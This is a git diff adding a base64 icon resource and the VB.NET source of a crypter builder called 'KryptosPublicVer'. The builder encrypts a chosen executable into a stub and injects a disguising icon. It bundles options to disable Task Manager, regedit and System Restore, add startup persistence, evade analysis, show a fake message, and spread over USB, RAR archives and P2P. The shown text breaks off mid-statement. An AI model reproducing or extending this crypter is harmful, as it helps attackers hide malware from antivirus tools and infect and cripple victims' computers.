rP+enZv/k5KQ/4+Oi/+RkI7/nJ2Z/7S0r/+9u7j/tbSw/7Oyrv+zsa3/srCs/7Gvq/+wrqr/r62p/66s + qf+trKf/rKqn/6yqpv+opqL/qqik/QAAAAAAAAAAAAAAAL28u75UT0b/W1VN/1pTTP9VUEv/lJWT/6mo + pf+2tbP/wsPB/87Ozv/X2Nf/3t3f/+Hh4f/j4uH/4ODg/97d2//Z2Nf/1NTR/9HQzv/My8n/ysjF/8fG + w//FxML/x8TB/8jHxP/Lysb/ycjF/8bFwv/GxcL/xsTC/8C+vP+7urn/urq3/7q5tv+5uLb/ubi1/7i3 + tP+3trP/t7Wy/7a1sv+1tLD/tLOv/7Syrv+xsKz/sq+r/9HSzQ0AAAAAAAAAAMHAv8NYVEr/YF5U/2Nf + V/9eW1H/UU1D/09KQf9OSkH/UE1F/1VSSv9eW1T/aWZg/3d1cf+FhID/lZaS/6Wmo/+1trX/xMPD/8/O + z//Z2tn/3t7f/+Lh4v/i4uH/3+De/93d3P/Z2Nb/1NPR/8/Qzf/OzMj/ycjG/8fFw//FxMD/xMLA/8LB + vv/Bv73/wL+8/7++u/++vLr/vby5/7y7uf+7urj/u7m3/7q5tv+4t7b/trWy/8jHxSkAAAAAAAAAAMTE + wshcVlD/ZmJd/2llX/9oZF//aGRe/2djXf9nY13/ZmJc/2RgWv9iXlf/YFpU/1xXUP9ZU03/VlBK/1VP + Sf9TT0r/VlJN/1xYUv9kYFz/b2tn/3x5dv+LiYf/m5iX/6qpqf+6uLj/yMbH/9LR0f/a2tr/39/g/+Li + 4v/i4eH/3t/e/9zb2//X1tX/09LQ/87NzP/Lycf/yMbE/8bEwf/Fwr//wsG+/8LBvf/Av7z/vLm4/9XU + 0kcAAAAAAAAAAMnIxs1jXVX/b2pj/3FsZf9xbGX/cWxl/3FsZf9xbGX/cWxl/3FsZP9xa2T/cWtk/3Fr + ZP9wa2T/cGtj/3BqY/9vamP/b2hh/21nYP9qZFz/aGFa/2VeVv9hXFP/XllQ/11YT/9eWFD/YFtT/2Zg + Wv9tamL/eHVw/4WBfP+TkY3/oqGd/7Oyrv/Bv7//zMvL/9fW1v/d3t7/4eLi/+Pi4//h4eD/29ra/9TV + 0//Qz83/ycjG/93d23kAAAAAAAAAAM3Ny9JpZVz/dnJr/3h0bf94dG3/eHRt/3h0bf94dG3/eHRt/3h0 + bf94dG3/eHRt/3h0bf94dG3/eHRt/3h0bf93c2z/eXNs/3dzbP93c2z/d3Ns/3dzbP93c2z/eHJr/3d0 + a/92cmn/dnJp/3NvZv9xbWX/b2ph/2xoX/9pZFv/Z2FZ/2ZgV/9oYlj/a2Vd/3BsZP95dG3/gn96/46L + h/+amJX0tLS1hcPDxKvOzs3Yx8bG2eHg4CMAAAAAAAAAAM/Pz9RxbGb/fXp0/398dv9/fHb/f3x2/398 + dv9/fHb/f3x2/398dv9/fHb/f3x2/398dv9/fHb/fnt1/3p2cf9ybmj/cm1n/3Jvaf9zb2n/dXFr/3dz + bf94dW//eXdw/3t3cv99eXP/fXl0/316dP99e3T/fXt1/357df99e3X/fXp0/316dP99enT/fHhz/3p2 + cf94dG7/dnJr/3JtZ/9sZ2DgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANDQzth4dW7/hYF8/4eD + fv+Hg37/h4N+/4eDfv+Hg37/h4N+/4eDfv+Hg37/h4N+/4eDfv+Hg37/gn55/5KNiP++vLj/uri0/6+s + qP+npKD/op+a/5mWkP+RjYj/iYR//4aBev+Bfnf/fnly/3t3cP97dm//enVw/3p3cf98eHH/fnpz/397 + df+BfXf/gn94/4OBev+EgXv/hYF8/4SBev+Cf3jqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANLR + z+l4dG3/hYB7/4iEf/+KhoH/i4iD/4yIg/+MioP/jYqF/42Khf+Ni4T/jouE/46Lhf+Ni4T/hoF89Lm5 + txvJys0EwsTFHdzd3TDi5ORBysrLWNTV1nLW1taL4ODgo9XU1LvT0tDU0M/N6MzLyPjHxcL/wL67/7e1 + sv+tq6f/o6Cc/5+cmP+XlI7/kY6I/4qGgf+HhH3/hIF6/4aBfP+LiIOVAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAOTk5c++vLf/o6Cc/6GemP+bmJL/lpKM/5CMh/+NiYX/jYiD/42Igv+NiYT/jomG/4+M + h/+PjIf/hoJ7MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADS0tMDvb6/FcbHxyzY2dpF5+fnXNLT0nfV1NSV2drZrd/f3sbX1tXhz8/N/Obl5JoAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAALW1tQnR0dJW4+Pka9vb24TV1tag19bWu9va2dLX19Xpz87N/crJ + xv/EwsD/vLq2/7Wzr/+/vbujAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD///////8yxP//////////v///////AADn//////8AAMAf/////wAAwAA/////AADAAAD///8AAMAA + AAH//wAAwAAAAAP5AADAAAAAAAH//8AAAAAAAf//wAAAAAAE///AAAAAAAf//8AAAAAABwAAwAAAAAAH + AADAAAAAAAf//8AAAAAABwAAwAAAAAADAADAAAAAAAMAAMAAAAAAAwAAwAAAAAADAADAAAAAAAMAAMAA + AAAAAwAAwAAAAAADyhDAAAAAAAMAAMAAAAAAA///wAAAAAAB///AAAAAAAGwQcAAAAAAAQAAwAAAAAAB + AADAAAAAAAH//8AAAAAAAf//wAAAAAAB///AAAAAAAEAAMAAAAAAAQAAwAAAAAAAAADAAAAAAAAAAMAA + AAAAAAAAwAAAAAAAX1XAAAAAAADKEMAAAAAAHwAAwAAAAAAfAADAAAAAAB/KEMAAf/wAPwAAwAD///// + AAD///////+AP////////wAA////////psIoAAAAIAAAAEAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAATAAAAJAAAAC4AAAAuAAAALgAAAC4AAAAuAAAALgAA + AC4AAAAuAAAALgAAAC4AAAAuAAAALgAAAC4AAAAuAAAALgAAAC4AAAAuAAAALgAAAC4AAAAuAAAALgAA + AC4AAAAuAAAALgAAAC4AAAAuAAAAJQAAABMAAAAEAAAABAICAkE0NDSwSUlJykZGRslGRkbJRkZGyUZG + RslGRkbJRkZGyUZGRslGRkbJRkZGyUZGRslGRkbJRkZGyUZGRslGRkbJRkZGyUZGRslGRkbJRkZGykdH + R8tHR0fMR0dHzEhISM1ISEfNSEhHzkdHR8xERES8Dw8PVwAAAAkAAAAAjYuJ/5+fn/+oqKj/pqam/6am + pv+mpqb/pqam/6ampv+mpqb/pqam/6ampv+mpqb/pqam/6ampv+mpqb/pqam/6ampv+mpqb/pqam/6am + pv+mpqb/pqam/6ampv+mpqb/pqam/6ampv+mpqb/pqam/6ysrf9LS0uGAAAAAAAAAACNi4n/pqam/6Sk + pP+jo6P/o6Oj/6Ojo/+jo6P/o6Oj/6Ojo/+jo6P/o6Oj/6Ojo/+jo6P/o6Oj/6Ojo/+jo6P/o6Oj/6Oj + o/+jo6P/o6Oj/6Ojo/+jo6P/o6Oj/6Ojo/+jo6P/o6Oj/6Ojo/+jo6P/qqqq/42Lif8AAAAAAAAAAI2L + if+oqKj/q6ur/6qqqv+qqqr/qqqq/6qqqv+qqqr/qqqq/66urv/ExMT/xMTE/8TExP/ExMT/xMTE/8TE + xP/ExMT/xMTE/8TExP/ExMT/w8PD/6urq/+qqqr/qqqq/6qqqv+qqqr/qqqq/6qqqv+rq6v/jYuJ/wAA + AAAAAAAAjYuJ/6ysq/+xsbD/sLCv/7Cwr/+wsK//sLCv/7Cwr/+wsK//p6em/1hYV/9YWFf/WFhX/1hY + V/9YWFf/WFhX/1hYV/9YWFf/WFhX/1hYV/9bW1r/rq6t/7Cwr/+wsK//sLCv/7Cwr/+wsK//sLCv/7Cw + sP+Ni4n/AAAAAAAAAACNi4n/s7Oy/7i3tv+3trX/t7a1/7e2tf+3trX/t7a1/7e2tf+qqaj/W1ta/1tb + Wv9bW1r/W1ta/1tbWv9bW1r/W1ta/1tbWv9bW1r/W1ta/1tbWv+zsrH/t7a1/7e2tf+3trX/t7a1/7e2 + tf+3trX/t7a2/42Lif8AAAAAAAAAAI2Lif+4uLf/vLy7/7y8u/+8vLv/vLy7/7y8u/+8vLv/vLy7/6+v + rv9eXl3/Xl5d/15eXf9eXl3/Xl5d/15eXf9eXl3/Xl5d/15eXf9eXl3/Xl5d/7e3tv+8vLv/vLy7/7y8 + u/+8vLv/vLy7/7y8u/+8u7v/jYuJ/8PDwgEAAAAAjYuJ/729vP/AwL//wMC//8DAv//AwL//wMC//8DA + v//AwL//srKx/2BgX/9gYF//YGBf/2BgX/9gYF//YGBf/2BgX/9gYF//YGBf/2BgX/9gYF//u7u6/8DA + v//AwL//wMC//8DAv//AwL//wMC//8HBwP+Ni4n/k5GPE42LiSKNi4n/wsLA/8TEwv/ExML/xMTC/8TE + wv/ExML/xMTC/8TEwv+1tbP/YmJh/2JiYf9iYmH/YmJh/2JiYf9iYmH/YmJh/2JiYf9iYmH/YmJh/2Ji + Yf+/v73/xMTC/8TEwv/ExML/xMTC/8TEwv/ExML/xcXD/42Lif+Zl5UZjYuJPY2Lif/Dw8H/xMTC/8TE + wv/ExML/xMTC/8TEwv/ExML/xMTC/7W1s/9iYmH/YmJh/2JiYf9iYmH/YmJh/2JiYf9iYmH/YmJh/2Ji + Yf9iYmH/YmJh/7+/vf/ExML/xMTC/8TEwv/ExML/xMTC/8TEwv/FxcP/jYuJ/5aUkiyPjYtFjYuJ/8TE + w//ExMP/xMTD/8TEw//ExMP/xMTD/8TEw//ExMP/tLSz/2JiYf9iYmH/YmJh/2JiYf9iYmH/YmJh/2Ji + Yf9iYmH/YmJh/2JiYf9iYmH/v7++/8TEw//ExMP/xMTD/8TEw//ExMP/xMTD/8bGxf+Ni4n/lpSTNZGP + jU2Ni4n/xsbF/8XFxP/FxcT/xcXE/8XFxP/FxcT/xcXE/8XFxP+5ubj/dnZ2/2lpaP9nZ2f/dnZ2/3Z2 + dv92dnb/dnZ2/3Z2dv9lZWX/a2tr/3d3d//CwsH/xcXE/8XFxP/FxcT/xcXE/8XFxP/FxcT/x8fG/42L + if+YlpQ8lZORUo2Lif/Hx8f/xsXF/8bFxf/GxcX/xsXF/8bFxf/GxcX/xsXF/8bFxf/GxcX/hIOD/318 + fP/GxcX/xsXF/8bFxf/GxcX/xsXF/3BwcP+Qj4//xsXF/8bFxf/GxcX/xsXF/8bFxf/GxcX/xsXF/8bF + xf/Ix8f/jYuJ/5uZmESXlpRfjYuJ/8rJyP/Ix8b/yMfG/8jHxv/Ix8b/yMfG/8jHxv/Ix8b/yMfG/8jH + xv+GhYX/f35+/8jHxv/Ix8b/yMfG/8jHxv/Ix8b/cG9v/5GQj//Ix8b/yMfG/8jHxv/Ix8b/yMfG/8jH + xv/Ix8b/yMfG/8nIx/+Ni4n/l5WUXZSTkXeNi4n/zMvL/8rJyf/Kycn/ysnJ/8rJyf/Kycn/ysnJ/8rJ + yf/Kycn/ysnJ/42Njf93dnb/zs3N/8rJyf/Kycn/ysnJ/9DPz/9paGj/lpWV/8rJyf/Kycn/ysnJ/8rJ + yf/Kycn/ysnJ/8rJyf/Kycn/y8rK/42Lif+SkI5zjYuJpYWDgv/Pz87/zc3M/83NzP/Nzcz/zc3M/83N + zP/Nzcz/zc3M/83NzP/Nzcz/pKSj/2ZmZv+9vb3/19fW/9bW1f/X19f/sLCv/2ZmZv+ysrL/zc3M/83N + zP/Nzcz/zc3M/83NzP/Nzcz/zc3M/83NzP/Ozs3/nZua/42LiYeNi4m0lJOR/9DQz//Pz87/z8/O/8/P + zv/Pz87/z8/O/8/Pzv/Pz87/z8/O/8/Pzv/Nzcz/fX19/2pqav+Pj47/lpaW/4yMjP9oaGj/jIyL/8/P + zv/Pz87/z8/O/8/Pzv/Pz87/z8/O/8/Pzv/Pz87/z8/O/9DQz/+tq6r/jYuJlo2LibSjoqH/0tLR/9HR + 0P/R0dD/0dHQ/9HR0P/R0dD/0dHQ/9HR0P/R0dD/0dHQ/9HR0P/Ly8r/k5OT/3h4eP9oaGj/fHx8/6Ki + ov/R0dD/0dHQ/9HR0P/R0dD/0dHQ/9HR0P/R0dD/0dHQ/9HR0P/R0dD/0dHQ/728vP+Ni4mce3l3t7Kx + sP+9vbz/yMjG/8jIxv/IyMb/yMjG/8jIxv/IyMb/yMjG/8jIxv/IyMb/yMjG/8jIxv/IyMb/yMjG/8jI + xv/IyMb/yMjG/8jIxv/IyMb/yMjG/8jIxv/IyMb/yMjG/8jIxv/IyMb/yMjG/8jIxv/IyMb/vr28/42L + iaVlY2HDiIaF/42Lif+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42L + if+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42Lif+Ni4n/jYuJ/42L + if+Ni4n/e3l3sVdWVJinpqX/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6 + +v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6 + +v/6+vr/+vr6/7W0s/5dXFqSAAAAAE1MSvxPTkz/Tk1L/0xLSf9MS0n/TEtJ/0xLSf9MS0n/TEtJ/0xL + Sf9MS0n/TEtJ/0xLSf9MS0n/TEtJ/0xLSf9MS0n/TEtJ/0xLSf9MS0n/TEtJ/0xLSf9MS0n/TEtJ/0xL + Sf9MS0n/TEtJ/0xLSf9MS0n/TUxK9gAAAAAAAAAAgYGA/7Ozsf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Oz + sf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Oz + sf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Ozsf9qamjxAAAAAAAAAACBgYD/s7Ox/7Ozsf+zs7H/s7Ox/7Oz + sf+zs7H/s7Ox/7Ozsf+zs7H/vLu6/9nZ2f/i4uL/4uLi/+Li4v/i4uL/4uLi/+Li4v/i4uL/4uLi/+Li + 4v/i4uL/4uLi/+Li4v/i4uL/4uLi/+Li4v/Z2dn/s7Ox/1BPTawAAAAAAAAAAIGBgP+zs7H/s7Ox/7Oz + sf+zs7H/s7Ox/7Ozsf+zs7H/s7Ox/7Ozsf/Z2dn/ZWVj/2VlY/9lZWP/ZWVj/2VlY/9lZWP/ZWVj/2Vl + Y/9lZWP/ZWVj/2VlY/9lZWP/ZWVj/2VlY/9lZWP/ZWVj/2VlY/9lZWP/AAAAAAAAAAAAAAAAgYGA/9nZ + 2f/i4uL/4uLi/+Li4v/i4uL/4uLi/+Li4v/Z2dn/2dnZ/01MStNMS0lHAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAZWVj/2VlY/9lZWP/ZWVj/2VlY/9lZWP/ZWVj/2VlY/9lZWP/TEtJRwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////////AAAAAAAAAACAAAABgAAAAYAAAAGAAAABgAAAAYAA + AACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA + AAGAAAABgAAAAYAAAAOAB///wA//////////////KAAAABAAAAAgAAAAAQAgAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAABtbWylJSUldCoqKn4pKSl8KSkpfCkpKXwpKSl8KSkpfCkpKXwpKSl8KSkpfCkp + KX0qKil+KioqgCgoKHhubmylcXFv96Wlpf+kpKT/o6Sk/6OkpP+jpKT/o6Sk/6OkpP+jpKT/o6Sk/6Ok + pP+kpKT/pKSk/6SkpP+lpaX/cXBv9nJycPisq6r/r6+u/66urf+urq3/WFhY/1dXVv9XV1b/V1dW/1dX + Vv9YWFj/rq6t/66urf+urq7/rayr/3JycPhycnD3tbWz/7u6uf+6ubj/urm4/11cXP9dXFz/XVxc/11c + XP9dXFz/XVxc/7q5uP+6ubj/u7q5/7Szsv9zc3H4cnJw+L6+vP/Dw8L/wsLB/8LCwf9hYWD/YWFg/2Fh + YP9hYWD/YWFg/2FhYP/CwsH/wsLB/8PDwv++vr3/cnJw+HJycPnBwb//xcXE/8TEw//ExMP/Y2Nj/2Ji + Yf9iYmH/YmJh/2JiYf9jY2P/xMTD/8TEw//FxcT/wcG//3JycPlycnD6wsLB/8bGxf/FxcT/xcXE/8XF + xP9oaGj/xcXE/8XFxP9oaGj/xcXE/8XFxP/FxcT/xsbF/8LBwf9ycnD5cnJw+sbExP/Kycn/ycjI/8nI + yP/JyMj/d3Z2/8nIyP/JyMj/cnJy/8nIyP/JyMj/ycjI/8rJyf/FxMP/cnJw+nNzcfzMzMz/0dHQ/9DQ + z//Q0M//0NDP/6Sko/9sbGv/bGxs/6ampv/Q0M//0NDP/9DQz//R0dD/0NDP/3Nzcftzc3H8w8PB/8XF + w//ExMP/xMTD/8TEw//ExMP/xMTD/8TEw//ExMP/xMTD/8TEw//ExMP/xMTD/8fHxf9zc3H8cXFv/Onp + 6f/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/cnJw+5eX + ls1zc3H/c3Nx/3Nzcf9zc3H/c3Nx/3Nzcv90dHL/dHRy/3R0cv90dHL/dHRy/3R0cv90dHL/c3Nx/6Sk + pP+Li4r94ODg/8TEwv/Dw8H/wsPB/8HBwP/Dw8L/w8PC/8PDwv/Dw8L/w8PC/8PDwv/Dw8L/w8PC/8PD + wv+EhIT6cXFv9Ojo6P7e3t7+3t7e/t/f3/7d3d37cXFv8nFxb/FxcW/xcXFv8XFxb/FxcW/xcXFv8XFx + b/FxcW/xAAAAAAAAAABxcW/wcXFv8HFxb/BxcW/wcXFv8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD//wDAAAAyxAAABAAAAAAAAAAAAAAAIAAAAAEAAAAEAAAAAAAAACAAAAAAAAAA + BQAAAAAAAAAgAAABAACD/wUA + + + \ No newline at end of file diff --git a/scode (KryptosPublicVer/Form1.vb b/scode (KryptosPublicVer/Form1.vb new file mode 100644 index 0000000..de6e5be --- /dev/null +++ b/scode (KryptosPublicVer/Form1.vb @@ -0,0 +1,271 @@ +Imports System.Text +Imports System.Security.Cryptography + +Public Class Form1 + + Dim Server, Iconz, BuildString As String + Dim taskmanager, regedit, systemrestore, cmder, runmer, rclicker, avwebsites, cpaneler As Boolean + Dim meltz, startupz, antisz, fakemsg, installz As Boolean + Dim titlz, msgz, directz As String + Dim Cryption, showyenc As String + Dim usbizzle, rarizzle, p2pizzle As Boolean + Dim stub As String + + +#Region "Buttons" + + Private Sub CyberTopButton1_Click(sender As System.Object, e As System.EventArgs) Handles CloseBtn.Click + Me.Close() + End Sub + + Private Sub CyberTopButton2_Click(sender As System.Object, e As System.EventArgs) Handles MiniBtn.Click + Me.WindowState = FormWindowState.Minimized + + End Sub + + Private Sub CyberButton1_Click(sender As System.Object, e As System.EventArgs) Handles OpenFileBtn.Click + Dim ofd As New OpenFileDialog + ofd.Filter = "Executables *.exe|*.exe" + If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then + Server = ofd.FileName + InputFileText.Text = ofd.FileName + End If + End Sub + + Private Sub Stub_Click(sender As System.Object, e As System.EventArgs) Handles BtnStub.Click + Dim ofd As New OpenFileDialog + ofd.Filter = "Executables *.exe|*.exe" + ofd.InitialDirectory = Application.StartupPath + "\Stubs" + If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then + InputStubText.Text = ofd.FileName + stub = InputStubText.Text + End If + End Sub + + Private Sub OpenIconBtn_Click(sender As System.Object, e As System.EventArgs) Handles OpenIconBtn.Click + + Dim ofd As New OpenFileDialog + ofd.Filter = "Icon *.ico|*.ico" + If ofd.ShowDialog = Windows.Forms.DialogResult.OK Then + Iconz = ofd.FileName + InputIconText.Text = ofd.FileName + End If + End Sub + + Private Sub RandBtn_Click(sender As System.Object, e As System.EventArgs) Handles RandBtn.Click + EncKeyText.Text = MyRandom.GenerateRandomString(True, True, True, False, 40) + End Sub + + Private Sub CyberButton5_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton5.Click + System.Diagnostics.Process.Start("http://www.hackforums.net/private.php?action=send") + End Sub + +#End Region + +#Region "CryptBTN" + + Private Sub CryptBtn_Click(sender As System.Object, e As System.EventArgs) Handles CryptBtn.Click + + If InputFileText.Text = "Browse For A File To Crypt..." Then + MessageBox.Show("Please Choose A File To Crypt!", "Input A File", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + Exit Sub + + ElseIf InputFileText.Text = "" Then + MessageBox.Show("Please Choose A File To Crypt!", "Input A File", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + + Exit Sub + Else + End If + + If InputStubText.Text = "Browse For A Stub To Use..." Then + MessageBox.Show("Please Choose A Stub!", "Input A Stub", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + Exit Sub + ElseIf InputStubText.Text = "" Then + MessageBox.Show("Please Choose A Stub!", "Input A Stub", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + Exit Sub + Else + End If + + If EncKeyText.Text = "Encryption Key" Then + MessageBox.Show("Please Generate An Encryption Key!", "Input An Encryption Key", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + Exit Sub + ElseIf EncKeyText.Text = "" Then + MessageBox.Show("Please Generate An Encryption Key!", "Input An Encryption Key", MessageBoxButtons.OK, MessageBoxIcon.Exclamation) + Exit Sub + Else + End If + + Try + Dim sfd1 As New SaveFileDialog + sfd1.DefaultExt = "exe" + sfd1.Filter = "Executable Files (*.Exe)|*.Exe" + If sfd1.ShowDialog = Windows.Forms.DialogResult.OK Then + End If + + Dim filein As String + FileOpen(1, Server, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) + filein = Space(LOF(1)) + FileGet(1, filein) + FileClose(1) + + + IO.File.Copy(stub, sfd1.FileName) + + GetFakeMessage() + GetDisables() + GetOptions() + GetInstallz() + + If AESRadio.Checked = True Then + Cryption = "AES" + showyenc = "Advanced Encryption Standard" + BuildString = "FileLife" & AES.Rijndaelcrypt(filein, "*?Gs&WPC/KmXCbCo{d5.(75e~BG_HPt4[l6,sv)pzVJF$N|{_x{w6-@Ju`cwp/THISISAES") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz + ElseIf polystairsradio.Checked = True Then + Cryption = "Pstairs" + showyenc = "Polymorphic Stair" + BuildString = "FileLife" & PolyMorphicStairs.PolyCrypt(filein, "Uj&#j')Nn&G`yMMC_(_ex#'cv`8=0G\{)S*22blV{1/Ntpl,t'zJxn\yY_>q6POLYMORPHICSTARIISSS@@##$@") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz + ElseIf xorradio.Checked = True Then + Cryption = "XOR" + showyenc = "Symmetric and Xor" + BuildString = "FileLife" & CustomXOR_Encrypt(filein, "//Salmoneus//") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz + ElseIf RC4Radio.Checked = True Then + Cryption = "RC4" + showyenc = "RC4" + BuildString = "FileLife" & RC4.ARC4.rc4(filein, "AJq44U01sKBegSDBlF2rBmpWvIZgHijL3AfDRMEbFQpVwjNS0qSr49P7cgxYaXWAllegded4ofteharcz") & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz + ElseIf desradio.Checked = True Then + Cryption = "3DES" + showyenc = "Triple DES" + BuildString = "FileLife" & _3DES.Encrypt(filein, "9oBha4fSkcqM4BdroQ4nQtac1cjNqVxW6jGIkpadhOqUDAogOLMyCAkKKLG6eOBTRiple3des!@mofthaefuckerrrzE4A8FA35B33A075F1BD9606778B5D527B2863F1D6C5516DF71C1D939B442E007", True) & "FileLife" & Cryption & "FileLife" & taskmanager & "FileLife" & regedit & "FileLife" & systemrestore & "FileLife" & meltz & "FileLife" & startupz & "FileLife" & antisz & "FileLife" & fakemsg & "FileLife" & titlz & "FileLife" & msgz & "FileLife" & installz & "FileLife" & directz & "FileLife" & rarizzle & "FileLife" & usbizzle & "FileLife" & p2pizzle & "FileLife" & antisz + Else : Exit Sub + End If + + Dim StringtoByte As Byte() = Encoding.Default.GetBytes(BuildString) + + ResourceWriter.WriteResource(sfd1.FileName, StringtoByte) + + If InputIconText.Text = "Browse For An Icon To Use..." Then + ElseIf InputIconText.Text = "" Then + Else : IconChanger.InjectIcon(sfd1.FileName, Iconz) + End If + + MessageBox.Show("File Has Been Encrypted Using The " + showyenc + " Cipher!", "File Encrypted Succesfully", 